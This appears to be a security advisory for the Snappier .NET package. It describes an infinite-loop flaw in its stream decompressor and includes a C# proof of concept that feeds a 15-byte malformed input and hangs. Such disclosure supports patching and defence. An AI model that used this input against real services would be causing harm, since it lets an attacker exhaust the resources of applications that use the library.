Overview
Affected versions of this package are vulnerable to Infinite loop in the SnappyStreamDecompressor class, when decompressing malformed framed-format input. An attacker can cause the application to exhaust system resources by providing malicious stream data as small as 15 bytes
PoC
using System.IO.Compression;
using Snappier;
byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst); // never returns
